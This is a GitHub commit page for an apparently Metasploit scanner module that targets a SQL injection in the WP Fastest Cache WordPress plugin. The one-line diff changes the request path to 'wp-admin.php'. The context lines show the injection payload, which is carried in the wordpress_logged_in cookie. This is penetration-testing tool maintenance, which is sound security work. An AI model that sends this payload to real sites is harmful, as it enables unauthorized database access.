Skip to content

Commit 36162ab

Browse files
committed
Fix exploitation bug
1 parent a87e915 commit 36162ab

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def run_host(_ip)
5858
res = send_request_cgi({
5959
'method' => 'GET',
6060
'cookie' => "wordpress_logged_in=\" AND (SELECT #{random_number} FROM (SELECT(#{payload}))#{random_table}) AND \"#{random_string}\"=\"#{random_string}",
61-
'uri' => normalize_uri(target_uri.path)
61+
'uri' => normalize_uri(target_uri.path, 'wp-admin.php')
6262
})
6363
fail_with Failure::Unreachable, 'Connection failed' unless res
6464
end

0 commit comments

Comments
 (0)